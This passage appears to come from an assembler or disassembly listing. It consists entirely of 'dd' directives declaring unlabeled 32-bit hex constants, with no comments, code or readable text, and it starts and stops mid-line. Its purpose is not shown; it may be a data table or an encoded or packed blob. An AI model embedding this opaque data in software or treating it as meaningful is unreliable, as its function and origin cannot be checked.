57757468h, 74B96C96h, 5C8B40AEh, 241572A5h, 81B5BB1Bh dd 0A98C0FD9h, 0FBC78A38h, 0B08B9E69h, 427C1A1Bh, 0C376CCh dd 68535F54h, 0EAA41CDBh, 9D8CEA4Eh, 0D8546450h, 2402FDBDh dd 891DFA0Ah, 0CBACEB8Fh, 3B1D7853h, 0EC9CFC2Ch, 1A5F2FE5h dd 0EF30578Fh, 782E7776h, 2601E33Fh, 476C9737h, 0C9C2D274h dd 805787CDh, 193FAE8Ch, 22609F7Fh, 982F2D1Dh, 8388D409h dd 26D013ACh, 11B690FFh, 0E9184D50h, 0BB823F1Ah, 0CE680045h dd 0FEBD121h, 0B14E188Ah, 36A1E8ACh, 0C18801B9h, 443E2373h dd 0CC8FB593h, 0DE41B401h, 276BF03Fh, 6E2707B6h, 0C32CBE45h dd 0A039581h, 0AA5C65BDh, 6FCDC813h, 14DA2F2Ch, 310AA3FDh dd 0C47220F0h, 3947680Eh, 6CEB1305h, 524F2F9Eh, 6257A6CCh dd 0D396777Eh, 0B7B25807h, 961EC74h, 0D8E1523h, 5C434380h dd 0E9130E60h, 0D2A4AC0Ch, 4B6D982Ch, 0C464AC9Dh, 0A7BAEC58h dd 7E257C74h, 29D07A5Eh, 0DFCD10h, 0C5BFF381h, 0F0BDA9EBh dd 1DE02FDh, 0CAE90861h, 0A73951FDh, 53DFF3E2h, 0A146EC11h dd 836748E1h, 6B0C3E12h, 0DF92700h, 9B94785h, 2387308Ch dd 0F1B1A2DDh, 24D6B149h, 0F461646Fh, 57137394h, 43AF6F40h dd 7BC9E981h, 0F756220Bh, 0D53E181Ch, 6EB182D0h, 5CA28152h dd 59283B5Eh, 1FD122Bh, 0F631EC68h, 98127F5Fh, 87D891FBh dd 0A4D3D9DAh, 0A22CF108h, 172F0Bh, 52ECD733h, 46EB6A3h dd 0AB32B223h, 0F07A1A06h, 9EF61EB7h, 92B0B63h, 0DE87AA7Ch dd 0FD191149h, 0CDD96589h, 910F4DA8h, 2B07EF73h, 0C4B182D5h dd 95530699h, 0AE4B5B24h, 0B189D302h, 42BD408Bh, 0A4C171Ch dd 21300529h, 9CF92185h, 8B0F00C8h, 6195AA7Dh, 0AA0CBB1h dd 90F09581h, 20F69100h, 62AABE6Eh, 0E98809D4h, 59E99BF2h dd 81A9E1C3h, 20636841h, 1F2E4252h, 0F52DCE87h, 92CBFA17h dd 0EAED202Ah, 41F66348h, 15481D17h, 49146323h, 0B2D8E057h dd 25FE7CC3h, 0D948FA63h, 0E516EB90h, 430B5095h, 89965EDBh dd 74C40942h, 0E8E9534Ah, 3CF76174h, 2E5D5F55h, 3E0001CBh dd 0D6C565Ch, 0FD275DC5h, 174EF022h, 81468925h, 3EBD5588h dd 0E381BD25h, 8004D932h, 106FDEAh, 0C41DD4B7h, 5BC2A01Dh dd 52B5590Bh, 80358028h, 4CF682CDh, 0EC4ECFDDh, 0BF1E205Eh dd 0FE354502h, 600D9ADFh, 0DED9AD99h, 34C0EE4Bh, 0FA58E106h dd 0C508E808h, 74628FEh, 8ED0E305h, 0A08F6BC1h, 660235C8h dd 0FC277F68h, 3FB683F3h, 84930204h, 0F00581A5h, 8197D32Ch dd 0A7D12EE9h, 3ABA7099h, 4BA55080h, 9892C155h, 0D84FD42Ch dd 0D92F6828h, 5A03E60Dh, 322BF1BDh, 0EF1C4DCh, 0BC261B8h dd 0E3F75170h, 0FA0F91ABh, 1FE3A230h, 0A7EC3A0Dh, 4E0DF954h dd 0B9FBCF87h, 0D0A8A8D3h, 0F212C3D5h, 42F3481Ch, 33D2E4F1h dd 0B051483Fh, 9FB5ACE9h, 38880D51h, 1D73288Fh, 4BC9FE77h dd 0F57BAF1h, 0DC66099h, 0F85AF528h, 0D07302C5h, 933DE9EDh dd 0C829E068h, 98104CBFh, 64314FFFh, 686698C1h, 924B4926h dd 0AA4750C3h, 7B25606Bh, 0EB2E1312h, 0C4C3EA29h, 77AFB130h dd 0C6B70A6Bh, 0C10C3408h, 2A5642B5h, 0FA2217FAh, 7066D59Ch dd 0A37BBD07h, 0E98607A1h, 0ECD10605h, 3F736BAEh, 59968BF7h dd 5CA308BEh, 7302DB2Ch, 8437747Fh, 4A91B09Bh, 4CF7EA84h dd 786BB479h, 273CBB0Ah, 5704B2D5h, 0E2DAD029h, 7208B025h dd 0E7780B07h, 6E70DA57h, 0F7B089BFh, 0C6004396h, 72D36D82h dd 0A92CE1E9h, 0E72CE5AAh, 0A08C53CCh, 5AF77E95h, 1E2FC81h dd 2E50C9DDh, 0F52DA70Eh, 7E5E2586h, 0F4F5C72Ah, 0EE4DD647h dd 2A166F22h, 142BBDDFh dd 0F158AD68h, 0C47E00D3h, 0E9190C7Eh, 3602425Fh, 0AF62B368h dd 0F96FA613h, 98CB5A6Bh, 0E64081C0h, 0F4D99759h, 7F9B2662h dd 47244B5Bh, 5424B610h, 6C569D84h, 0AD701A0Ah, 0EA5B2885h dd 0E90C7F8Ah, 9650BA54h, 0F9D0F739h, 0B5180F31h, 8C2E612Dh dd 0BD9E4Fh, 0E00548CFh, 2FB82E31h, 5EB012E6h, 12B4C382h dd 80D86C99h, 0BC29F2h, 2523D988h, 13E097FDh, 0A16DFA3Ch dd 0C72E104Eh, 5CFC484h, 2DFBF788h, 0EF952062h, 639204F5h dd 0B3955027h, 15A22C21h, 7B128553h, 0CDF33504h, 0E1603033h dd 1EE5C288h, 0D368964Ch, 0C4F4D749h, 2F8F143Eh, 5AF207FEh dd 0DA84A61Fh, 0C7E548A9h, 4BD5AA18h, 0F312E0EDh, 1FFE56D1h dd 0EC8789E8h, 8878CC55h, 0B5987360h, 8BE9F6D6h, 501C5D11h dd 4D4B7309h, 9D027D1Fh, 0E1209ED2h, 505131A5h, 0DF8EEC1Eh dd 92F101AFh, 3139BE14h, 73ABCCCBh, 0BCB8FB4Bh, 1551E5A0h dd 2F75623Ah, 26FF1B9h, 0EC5527EDh, 0C24FE3F7h, 590881C5h dd 0E46BDDE9h, 4100C786h, 0B652EF28h, 16CEFEB2h, 0BCD0DEF6h dd 4C1A2CE6h, 0B01D1410h, 77B1DF32h, 0B3CD73Bh, 30083DF6h dd 2F96A05Eh, 39D478B2h, 16F11092h, 0B6A5768Bh, 788A2FD9h dd 9C97D908h, 85F9EA53h, 60706494h, 0C0BDD601h, 503F80Fh dd 0A709A68h, 56F5F96Eh, 0C4D9539Fh, 0AB94E8Fh, 601F9B49h dd 1FF6E03h, 0D71192F9h, 0E9843145h, 0A92AFC2h, 0D27561CEh dd 0D2C8EC7Bh, 0A41D1810h, 0D568A0BAh, 0D2562C5Eh, 6584F5B8h dd 184214F7h, 0F32384FAh, 1C61704h, 0E080FFE7h, 2D17FEC2h dd 0BAD61619h, 50B508A0h, 9DDC79AEh, 586CBA71h, 25C99671h dd 0A75590B2h, 0E3ACD462h, 0D497691Dh, 6304C5Eh, 25EC3502h dd 2F628B4Eh, 5A6892C8h, 0A18C0D4Fh, 89D529Bh, 2ADE231Ah dd 96BCD756h, 0B298EB6Dh, 594217E6h, 793BBC26h, 5B040597h dd 0E7CC88EAh, 98179Ah, 6C257676h, 9415C0Dh, 37F9CB9Fh dd 0A4E25067h, 85CA54D1h, 0C7CC28EBh, 1E1C5F21h, 6DC3DFE3h dd 614E05FDh, 2D0580ECh, 91C85A3Bh, 2BD5BBA0h, 462C69E3h dd 0B6BD8137h, 3A62470Eh, 5EAB1B80h, 547F4832h, 7888A45Fh dd 73C45B05h, 0CB09EF29h, 3D5F9B85h, 4C930E50h, 0D15F45A3h dd 8431AB01h, 85042B7Ah, 232ED39h, 78DD0C19h, 0A6717B09h dd 0AF70169h, 7F2108A0h, 4F3DBAECh, 5BF6946Bh, 8958B831h dd 89121E3Ah, 0BB5D5F01h, 29360E8Fh, 1B6DA69h, 0B19E16Dh dd 70A9E7Dh, 3876C940h, 48D13B2Fh, 2573A2E9h, 2A02D14h dd 580248E3h, 58AE32BFh, 0DF080117h, 291EA360h, 0E910846Ch dd 0B3EEEB53h, 21EF4AFDh, 195DAC5h, 1C202AB5h, 3B588117h dd 750B3EEDh, 52446293h, 33D120B6h, 0BEB5E900h, 5A72F7B6h dd 5A23BD32h, 9D4ADACBh, 0FE774782h, 91BC2DCAh, 0BD4AF490h dd 0F4F7BDD2h, 123BEA7Eh, 1F83CA12h, 89BD7BB4h, 0F6C4FEFBh dd 0FDB501CFh, 933FF8E9h, 6D523751h, 129EEDE0h, 0AF93A7A9h dd 0FC2AAEF1h, 0EC8D4EE5h, 0D55FD2DBh, 6424D9C7h, 5589C42Ch dd 6640855Bh, 597E8736h, 9BC9A30Eh, 0C2099D5Ah, 858B327Ch dd 94810A76h, 243E4C5Bh, 445C82FFh, 896443E0h, 199EDD7Fh dd 9D1D3480h, 90BA5257h, 516C09E8h, 8225429h, 6D778520h dd 3077A593h, 85419E1Eh, 13FABF17h, 319EEBB4h, 0A7EF057Dh dd 0ED3B6075h, 5E0840CEh, 212A2098h, 5C4A3EA3h, 424ED6BEh dd 0CC7EB12Ch, 5BACC03Ch, 13008E53h, 26ACB9E9h, 0BF64AB4Ah dd 0EFECABAh, 52C28852h, 0FA44D21Dh, 19A8B4E9h, 9ED35B27h dd 1202786Ah, 7F49B365h, 6981A6Bh, 3009CE60h, 5A7243E9h dd 3C4A3F4Fh, 16FA3DA7h, 259EA38h, 0C3E967E6h, 0A57E7198h dd 0FC32F285h, 0B393CE04h, 0C9F828BFh, 0E710440Bh, 4CCC753Dh dd 4A4ED503h, 0E9CD09AEh, 328EB118h, 7EF1AB5h, 0E284B816h dd 6286056h, 106C1341h, 2A91C5Dh, 8920A221h, 2B1489E1h dd 79BE8217h, 53F82A07h, 5526E1E6h, 0E2176454h, 0D19DC35h dd 6FCCB328h, 0FE91613h, 0AE3DBA97h, 50886234h, 955BD8C7h dd 0E29F56C6h, 0A9254115h, 0CA026801h, 868B3159h, 501EA3B7h dd 80038A76h, 5046FA5h, 0A0B0986Ah, 1DB624F5h, 64E9AC58h dd 2D7AFB3h, 91141216h, 0F9E85144h, 0BB62E36h, 0E5C1E0FBh dd 1816BF2Bh, 84AA8D0Fh, 539CEE29h, 27369AB5h, 0D696EB8Bh dd 40685200h, 0E9095C76h, 0B5C74E05h, 0CCB1303Dh, 6F60D9BFh dd 44B67BA5h, 30457680h, 7643B5BAh, 0CECB0ACh, 2E41130h dd 9FC0ED30h, 5B1EE0F7h, 0B30CC007h, 291F0144h, 2FF4F85Ch dd 6F1477DCh, 6085906h, 1334472Fh, 0E8987BF1h, 54AB10A4h dd 0F5685E25h, 5280E39Eh, 3FDDAC51h, 8498EDB7h, 81FDE1ACh dd 91D57EF3h, 5F1332B3h, 0A298E256h, 26B9C05Ch, 0D4C1821Bh dd 6BC03155h, 0D8AF3B17h, 713C9E9h, 660B2CC1h, 9F0253DDh dd 0B0B6135Ch, 0AE1735CDh, 9305C158h, 42E16883h, 2598A76Bh dd 0C47163EFh, 6CC70CC1h, 0FA35F8F4h, 42CA4A33h, 0FD8851EBh dd 6B4FD279h, 586856EAh, 0D389FC01h, 0B62F6149h, 28A0532h dd 0E2FA7741h, 0DFF71465h, 4C4E01CEh, 2DE90D74h, 1DB51C3Eh dd 6CBECED0h, 95CAEE12h, 0BBB1257Eh, 0F90421E4h, 2922A52Bh dd 0CEC189FFh, 40E2E938h, 0B70153BFh, 19EF8093h, 765DF828h dd 7D60C8EDh, 0ED801B29h, 0F88133AFh, 30E5315Bh, 9895F30Ah dd 802F1C8Dh, 2D03E829h, 3F9F5F1Ah, 0D5F9FA5Dh, 6EF7EBE9h dd 14FA7AF0h, 9E0FAE23h, 2D605E55h, 0C0BD0455h, 0BC2F511Dh dd 115213FAh, 0E5B9BD04h, 8EA13DACh, 76227E37h, 4AE4BC3h dd 8A0F91D6h, 29BED416h, 0D2CBE0EAh, 0E9405805h, 0B7BACFDEh dd 71AA5F2Ah, 7BE6B9ACh, 880C91E3h, 0F32F15A5h, 4CCDFB14h dd 954171E0h, 5A78DD28h, 0EAB91647h, 0C742DB69h, 1EB3009Eh dd 2803CEB0h, 0C0FE5BD8h, 0F52CA8F6h, 5AB20C52h, 1154D030h dd 18BE7340h, 84D60747h, 0ED124EEEh, 6C00FA37h, 6AAC3485h dd 0E9F70B29h, 536B24D8h, 0E8656EC1h, 449F9B5Dh, 5AF1F05Ah dd 2D65A4E4h, 0BA7D85B7h, 2D545648h, 54A59A75h, 0ACFD5880h dd 448804BCh, 69ED81D8h, 7AA10B16h, 0C29785C0h, 0AE3AD3A7h dd 0CBBFDF56h, 5DF50991h, 18D00242h, 6BDE7E08h, 0A220E31Ch dd 9FCB0C3h, 1B8709A1h, 0AF1D85D7h, 0F624DFACh, 0F6208ABh dd 46005712h, 64C5446Dh, 5BD30905h, 21847C24h, 483AB8C2h dd 87137821h, 3470DB90h, 36BBF5Dh, 2978C26Ah, 0DC045FFDh dd 0E2444E38h, 0E9FB28BFh, 849A0B24h, 7E2C181h, 7A20EAD1h dd 4F462D66h, 49FD9940h, 0E91233F4h, 2549BB25h, 0A1D016FEh dd 8844DC8Bh, 9F80E9AEh, 1D853517h, 0B5CDE2BEh, 2BCBCDBEh dd 5A79658Eh, 0D881E8C9h, 5C192886h, 26275C58h, 9A502ED4h dd 0D668889Bh, 0CA8C535Eh, 1BCDF450h, 4267067Bh, 0EE200CFAh dd 58222172h, 0AD5A1C62h, 6B013B17h, 0A4D18EECh, 78F27678h dd 9E74EED6h, 6773EE00h, 30E956EFh, 0C3679715h, 35494166h dd 0D59E1052h, 39FE680Bh, 4A54EFB0h, 2760FF82h, 0F764EFF8h dd 0EBE2C848h, 0A1F9E87Eh, 0F32A28EDh, 775F1022h, 0FBFCC441h dd 4C47B28Eh, 601D6D7h, 90DF82Bh, 4F65FCDFh, 4ABFD7A7h dd 2DCE8FABh, 82DE715Ch, 6B9430C3h, 52934FC5h, 344560FEh dd 3613AB01h, 6DA0A8E9h, 8CDB9D58h, 9516D24Bh, 4246E683h dd 0D9EB9B02h, 4C3BA31Bh, 40BE0019h, 8120CE15h, 57168DF6h dd 0BB117EC3h, 0C92D0F9Ah dd 89D94750h, 280684DFh, 2A1FCDAAh, 45CA8F80h, 742044Ah dd 0FAE2E4E9h, 6809365Eh, 38187DBCh, 0DCB55953h, 0C724BD9Bh dd 6F721A28h, 0C37AE877h, 666E1A13h, 0C8E40C38h, 0E12DDF8h dd 5E000D47h, 18672E97h, 5BD93929h, 80D0E9A7h, 5E302212h dd 0E82D12FFh, 0AF6AD8F6h, 7BFE83B0h, 902C5320h, 573F0FB3h dd 0FC64317Eh, 0EDA6FAB5h, 2855A15Ah, 8C13A47Bh, 0A26BB0A1h dd 8EED5AD2h, 1CC1FAE5h, 18F02BFAh, 0EF058001h, 78DA7539h dd 72DD028h, 0C11444EBh, 3BBB4523h, 950BDCCCh, 82F5A20Bh dd 9B96D0Fh, 45932575h, 0B84EBFECh, 8CEAB5B4h, 6D70489Fh dd 4516F9BFh, 0C184943Bh, 29AB989Dh, 4AB53936h, 0CBF541C1h dd 63493DCh, 12E95B8Ch, 0BA0527F7h, 0BF11FCEh, 94AB61C2h dd 715EBDA7h, 0EA6BE985h, 0D383F05Dh, 0DA45673Dh, 25E05E66h dd 1C248CFBh, 27BACC25h, 9D4E3C01h, 49F1C18Bh, 5B6800A7h dd 95C69705h, 0BD677413h, 6E6EB00h, 0C4574668h, 24D8A51h dd 8F5FFB29h, 990544EDh, 0D58165D3h, 0DCE446FCh, 714E18AAh dd 43106E40h, 0B0F734D3h, 0CD92865h, 0F61E5B12h, 0C2731012h dd 0ECA8813h, 0FE161742h, 2FE97B7Ch, 0A75FB7DFh, 0F3046AF0h dd 49C38003h, 0C332EB99h, 0E9EA10B6h, 1586594Ah, 0ABF05F1Ah dd 1666260h, 0E93E0C2Ah, 0EA6F9D33h, 0F6C1729Dh, 0BEB04A32h dd 0BB9F32Ch, 386C46DDh, 62D99A80h, 0CB031FDh, 222F3D0Bh dd 7018007Dh, 0FA308749h, 5BE924F1h, 5558895Ah, 599BFA82h dd 0F9D98803h, 397B0FDAh, 0BE7725A9h, 99232032h, 30AD0BD9h dd 569DF6ECh, 0BF2F623Ah, 2394620Eh, 0C7A1C0F4h, 0CF810201h dd 5E34990h, 94C4B080h, 0FAFA09EEh, 0AD5B3390h, 4BAD22AAh dd 0C1200E40h, 36F8E15Bh, 788CC219h, 13526041h, 25E94640h dd 8924021h, 0A3D6CC82h, 0BCEC0C0Ch, 0BEFE2556h, 0E52DF153h dd 8C71A83Fh, 412AF0C2h, 0E687E642h, 6090D918h, 4F39199Ch dd 0BA614A43h, 0A606FDCEh, 4C9AAC28h, 64EF985Fh, 0A1DC016Fh dd 29027318h, 815E2776h, 3054EC29h, 30A80F21h, 0F60982C2h dd 3D868248h, 88141B0h, 708C788Fh, 0AD61FB7Bh, 773AE7A7h dd 8FED63E5h, 56FE53h, 3F3D694Eh, 390A683Eh, 140DE42Ch dd 0B0624B2Fh, 5F8BBB6Fh, 901BB33h, 0BD3499C3h, 0BAA8866Eh dd 2A980884h, 0EC57EE40h, 8780554Fh, 5D9A8352h, 5FDEC886h dd 16B1EF05h, 92040818h, 0F791EECDh, 0B9BC5B9Fh, 645DE384h dd 9E0FAB44h, 0DD20E955h, 6DC4D4EAh, 0F0097C95h, 580E67Ah dd 8E19123Dh, 3F27EADBh, 4F60F2h, 291305BBh, 0EE87961h dd 0FF8DE07h, 0C2E02C80h, 97054795h, 0D6A2FB89h, 0C07DE188h dd 83479B11h, 13BDAABCh, 10E9A798h, 0E29D6160h, 5B9E71E5h dd 9240A811h, 0E9E183F9h, 3A003FFAh, 5A2D5B5Fh, 1833486Eh dd 705F814h, 0B5963540h, 68505000h, 435821A3h, 91C21AB0h dd 0ADB5DB16h, 0E851488Bh, 0F926E9C1h, 63D15A02h, 0E5A8B644h dd 33C68001h, 0A59E67E9h, 2CAA9660h, 1356D821h, 5163FBCFh dd 0F5F3035Dh, 6025767Eh, 0A2F14820h, 178B8EBDh, 0C5498BFh dd 0B05DC683h, 0A4694B6Fh, 820BCA43h, 0F4567201h, 500A03EDh dd 9E52143h, 3202C2CEh, 467D7EA2h, 887D9878h, 0B797918Eh dd 810058E4h, 2C0A9CF2h, 4F830F7Fh, 0E898166Bh, 294BA1DBh dd 142E9507h, 0D532A4CBh, 48F7EA45h, 4A2968CAh, 739F3249h dd 6DED8B57h, 0DA2B0C06h, 8402C775h, 31C88CF5h, 0EDF790FEh dd 9E0580F0h, 47454112h, 275EED03h, 9A82C43Ch, 0FDF6B8h dd 4072CACh, 0D8762836h, 805B68E8h, 0B517A0B3h, 0EF331335h dd 0C5871489h, 427B2F1h, 4534AF20h, 0D3B4B117h, 22F13505h dd 0D2AF876Ah, 0EBCA62E9h, 4289F1FDh, 54048905h, 0B7B771BAh dd 0B80A8122h, 2D0675CDh, 4003C76Fh, 733E7ECBh, 0AF8B05BDh dd 74BF71D0h, 62852D34h, 279026F8h, 0B99B1330h, 3B22A9C7h dd 7F46EFh, 4C874AFAh, 7AE850Fh, 6DCF25C0h, 73183F15h dd 56B862E9h, 0E055C1C6h, 0E11DC3F0h, 5668E202h, 3BC073E7h dd 0BAEE5AC2h, 407CB743h, 0A03FD651h, 0D05FE911h, 525A8404h dd 0A0D0BDECh, 9A753F04h, 98DDAA0Fh, 9C616B41h, 4CF77064h dd 0E95BA0D9h, 3C854C68h, 0AA8218F0h, 4CEFC1B0h, 0A84FAB02h dd 6B3C554Ch, 0A8D1F5D4h, 0B800CDFEh, 2C5F368Dh, 6E4708h dd 0D9A313BDh, 0D57C2940h, 0B3483430h, 2F45012Dh, 0C2817753h dd 302A08D0h, 0F9416D7Ah, 0BF8B6AD4h, 404239CAh, 7F5C9769h dd 0EA203A9Dh, 0C61C050Bh, 11FE015Eh, 0CE310880h, 64FA5FF4h dd 8760F305h, 398E0D0Ah, 0DC1B5043h, 40F541C4h, 5F1C1578h dd 0CF465C97h, 0D18CA413h, 41620316h, 4D40BD53h, 3AF46852h dd 0C646626Bh, 23643B13h, 0D3A53D31h, 5A7DF69Eh, 19C4B8D2h dd 4631170Fh, 63AE7DDh, 9EEAD114h, 39823830h, 128D37F2h dd 95677D2h, 8A025B06h, 0E5E5F1AFh, 6C7963Dh, 322B5591h dd 4F020D38h, 836D7733h, 0D4588EC2h, 660BC998h, 9BE3A7E9h dd 0C06C8871h, 0DE0362E8h, 0EA4C49C3h, 50E9BD1Ch, 0A6455B67h dd 781A09E0h, 0C6762B0Bh, 0C54D0694h, 1C6474F2h, 1033A2EBh dd 280FE6B5h, 0ED1E58E1h, 8AB93680h, 58B7D75Eh, 4A5741Eh dd 8C0F6BFAh, 0BA439587h, 413F797Ch, 0D9377F4Fh, 1F868ABFh dd 853A2E03h, 670C042Fh, 0EA3FD043h, 0C8493593h, 25895842h dd 105559CBh, 1BD55DEh, 48051560h, 3B0704E9h, 0C692C199h dd 0FB3EC4A5h, 0E13F883Dh, 24817E79h, 5B0027EFh, 204E1668h dd 0E8F2BC37h, 147357BBh, 7D646809h, 29AF0D30h, 407D1C12h dd 251CF0h, 2AC05EFh, 0C672BC35h, 0DC04124Eh, 99C0FA29h dd 595A1F2h, 43E9F183h, 12E09A6Ch, 0A3AAB461h, 4A012687h dd 7A23FC27h, 15247C57h, 8913B435h, 3CE88DE8h, 978F17F4h dd 69BDE452h, 0A580038Ah, 0D9A99357h, 317A5379h, 9BA1A0h dd 302F3DBDh, 2B436F7h, 7B4B8A69h, 5A3987D0h, 5B89F440h dd 0B96328EFh, 3E3DFC1Ah, 972AFFC4h, 4BC410CEh, 69D10988h dd 1F5C6C85h, 50457652h, 0A65FD3E9h, 60EEC874h, 685DEE84h dd 0F12A7C2Dh, 75E9411Ch, 10FB293Dh, 0DB48C11Ah, 8058EA2Fh dd 0E978AA94h, 486B9A4Ch, 6F78F456h, 0CB8ADC6Ch, 0EA8889E0h dd 0AA258984h, 59972B31h, 74162776h, 499F7D7h, 0F66F3568h dd 0F8D895FEh, 0BE1968Fh, 0C378EB2Ah, 68BB409Ch, 0E9104C2Ah dd 92A86325h, 0B726B493h, 78883045h, 915B1264h, 2EAA8C6Dh dd 548094B2h, 68713622h, 960AEE24h, 981B50C6h, 74E21DEEh dd 0A756A538h, 0DE401B16h, 231D31BDh, 35457B19h, 0FC731F7Ch dd 0D4A3DA4Ah, 6D266FFh, 84B71AA0h, 80AF44B6h, 10B1C73Dh dd 52401618h, 5AA60489h, 581514C8h, 0A2F7738h, 0D4187701h dd 0DE4EE0E9h, 5A6143D0h, 65C8A1D6h, 315D0B85h, 4F1931F5h dd 1A22A8Eh, 8FED819Dh, 6F542722h, 801D794h, 0B39FE95Bh dd 4FEFE050h, 0C4CB0450h, 0AB5FFB09h, 0C54CBA18h, 61CD306Ch dd 0E4437A0Ch, 0C301BC98h, 3B9A37EFh, 4C8BD901h, 0C6F4745Ch dd 0EB9D9872h, 0EE061603h, 102CE802h, 0AA4EEDDBh, 7FD3DB26h dd 8D682EF7h, 0AA07CF8Dh, 0C77F0930h, 0AE341293h, 916F7A7Dh dd 5CC252Eh, 418F9A00h, 10D2B2Ah, 29DD74C2h, 3EF4E991h dd 4D681E02h, 2D454C32h, 7E8F05Bh, 38BDADBBh, 1B35336h dd 5BDD8830h, 0CD02E5C0h, 79B03BEDh, 4AC34908h, 0F4209E81h dd 0A8728B6Ch, 50F8FCABh dd 31394058h, 8D035C2h, 3CCB500h, 55E9C9C8h, 0EC00882Fh dd 50612842h, 0FA84FA6Bh, 59132618h, 2838E7EBh, 5AF72800h dd 39805966h, 0D0CCABCFh, 0E9FD0660h, 0A5BAF373h, 3B3DFB31h dd 217F35A4h, 44B8D21h, 19E32EEh, 2696DA5Fh, 977C708Eh dd 0D8FE00C8h, 0C148943Bh, 0D002EA27h, 6E7400B0h, 0D0290645h dd 6CB6FEE9h, 3A862500h, 240F67D2h, 8001AB8Bh, 3DE8D52Dh dd 0C65889F3h, 91E04ECFh, 7DC46B44h, 644FA4DEh, 9610E012h dd 208BE32Eh, 52E42096h, 0E4E051Eh, 682D1680h, 0EA2CC424h dd 43471F59h, 4AF1C02Eh, 0E95745A7h, 0F1087B27h, 0A9F6CB41h dd 5C0C0179h, 4987DCB7h, 598E9B0Ah, 3336C568h, 5F5227C6h dd 33E90330h, 0C6877665h, 0EF3896AAh, 2662A4B0h, 0D60E9549h dd 0ADBF6FD0h, 0CE117F93h, 0C5034762h, 689B0DC2h, 2FF2EED9h dd 69677FCDh, 527D6037h, 2D794CBAh, 21C08092h, 3D05A468h dd 1E2764F8h, 0FE437405h, 27681788h, 6FF1372Ch, 5555748Ch dd 93B260B3h, 5F3C71C3h, 33D3A4Ch, 2F685602h, 0CF291059h dd 850F0B6Dh, 69FF6852h, 15880E6h, 0DD368B9Fh, 0B1B14365h dd 0EB048D32h, 0BF334AE1h, 0FE9A6712h, 0BBF1238h, 4C555CA5h dd 821809D7h, 64D403CAh, 705B001Eh, 0C5290F88h, 0ABFE5158h dd 7C70A44Ah, 3168595Bh, 31B91BB7h, 545701BAh, 9B9C1CDCh dd 46452593h, 386C5A19h, 70E90F8Ah, 477D25CAh, 81740818h dd 7252A73Dh, 55D7F609h, 13FCD7C7h, 38317AE3h, 0AA5F4EAFh dd 685A7F20h, 0F64B4A89h, 0EB444B37h, 0E3AEB63Ah, 69977CA9h dd 0A3DCF14Ch, 75C6FFC9h, 292FB03Eh, 20D8C447h, 5F76D63Ah dd 6CBD1669h, 0D0BE55AEh, 139E8E7Ah, 9D5D27E9h, 0C157EF56h dd 0BE3B94EAh, 680E8E8Eh, 0BB130ECDh, 0E90D278Eh, 0CD0A88A0h dd 0B397DCC6h, 0A45C4CCBh, 0D180577Eh, 5F432C49h, 217CA142h dd 0FE85CFC7h, 0FC4F90CEh, 244C883Ah, 0A9250854h, 72C3800Fh dd 0D88DB706h, 2E10BD43h, 23705B68h, 9461D9BDh, 9D209656h dd 9E76F8BDh, 0BA227A04h, 0EBA985E9h, 0CEA0980h, 0F0B59868h dd 736D0259h, 0D30128F2h, 2BAF7040h, 76BB5380h, 0F0C275Fh dd 0E1C3B6E8h, 3B506413h, 85E8FD0Eh, 78C25DD5h, 9F85F04Fh dd 86E9F060h, 0A6A3A25Bh, 96DE5932h, 2BD46801h, 0E0B8466h dd 0BB82D5E0h, 0D3F6C84Fh, 0E4FBFD65h, 7C016BDDh, 840F6FFCh dd 2C7FE3ECh, 18418D14h, 3178C13Ah, 2DEC300Eh, 30040A02h dd 0EA37E962h, 0B2D1FDF7h, 1E7FDA08h, 201041B9h, 20CA2933h dd 8080D9E7h, 30EB13F6h, 0B63303F0h, 0C13282Bh, 0C0C472E9h dd 0FB46C4EBh, 0D3873A81h, 8828461h, 0DF4EE955h, 5F081CFAh dd 13021879h, 0E350B507h, 82B980B1h, 0A93603CEh, 0A8EA7F77h dd 0BFE90801h, 0ACEE5539h, 0D9902F48h, 6D6885EFh, 0C446EC7Dh dd 0FF343795h, 9E825EE2h, 0CCC0D86Ch, 576408E1h, 2D005BD0h dd 3D62375Dh, 11602998h, 7BC1BF14h, 47330273h, 0D8A7890Fh dd 3890C454h, 59585B0Dh, 12CDD11Ch, 2DBDF0E5h, 16DFEE83h dd 0E6482089h, 538246BCh, 0DF036B66h, 5AB0D5F0h, 84E94A58h dd 57B81757h, 632ABF12h, 96825623h, 72AA6260h, 0A0761895h dd 618E0065h, 3559C809h, 852E7A2Bh, 4527A9FBh, 0E53D9EE4h dd 0BC605492h, 0C53B0B5Dh, 46EE1F07h, 5DD68F0Bh, 0EEC392A5h dd 99E95AD1h, 9BB3364h, 61BA4B23h, 0D1F1586h, 991333D7h dd 0DAC483A2h, 0A8F217BDh, 4183CC4h, 1FC1FD28h, 34388178h dd 0E17E1785h, 6CB12BD8h, 0EDD90175h, 317E0D29h, 0E873B638h dd 67282F59h, 4FB09F66h, 803BBAB3h, 51BD58F3h, 4BBD3465h dd 0F740A241h, 60C7C607h, 75F378CCh, 3E58732Ch, 0F7FB25B8h dd 45827038h, 1D0BCDACh, 0FF371C2Ch, 0B62E8E00h, 25B84955h dd 0FD40985Ah, 0E2882870h, 0B8F25021h, 383C0EEAh, 0D6290147h dd 5600C909h, 184A498Fh, 79DA892Fh, 0DD300E9Bh, 3008EB4Dh dd 6EFF8889h, 0C7FA5EC4h, 0F5D0A91Bh, 82E6F29Fh, 4FA077CDh dd 3D5832ABh, 0F13B9C90h, 4E3C09F0h, 5E220B21h, 0AFDC88A1h dd 96D48069h, 95755A09h, 0FD2C0B55h, 0F325DE9Ch, 52B37497h dd 7A88D648h, 6C58719Fh, 99B7B21Ah, 103C9F01h, 5DE83104h dd 7D0BFD05h, 255D68FDh, 0B5CCF868h, 0CB50EDFCh, 0ADEC9D59h dd 0DF0D146Bh, 5D5ACE00h, 0D07D215Fh, 4A6C905Dh, 6C80660Eh dd 0EC960601h, 0E9AA16EBh, 18D0FA0Ch, 3D72391Eh, 0F8CA8B56h dd 48C2B4BBh, 71BD0022h, 725FB526h, 8B4C6E91h, 6C4FBB88h dd 52ED54A5h, 0D66AE20h, 1599261Fh, 0C6C293Eh, 5E08AA26h dd 8C0F0207h, 10E8987Fh, 92BF0D80h, 0D829FF42h, 84044755h dd 0EA7A1BE9h, 4B10138Eh, 80BE04DFh, 0CD82852Fh, 0DD8280E6h dd 160F4E7Ah, 0E8CED188h, 504D842Fh, 8C827FF8h, 5E201902h dd 0EA67A152h, 0F25F0B76h, 41828923h, 0D8088C55h, 8414893Fh dd 0EFB80021h, 97C954F5h, 0C83BF75Ch, 0B0A0419h, 8DFE1632h dd 0B2F33C8Bh, 88DAA1F1h, 0F22B874Ch, 2CAAD627h, 4231E9C5h dd 0EA01387Ch, 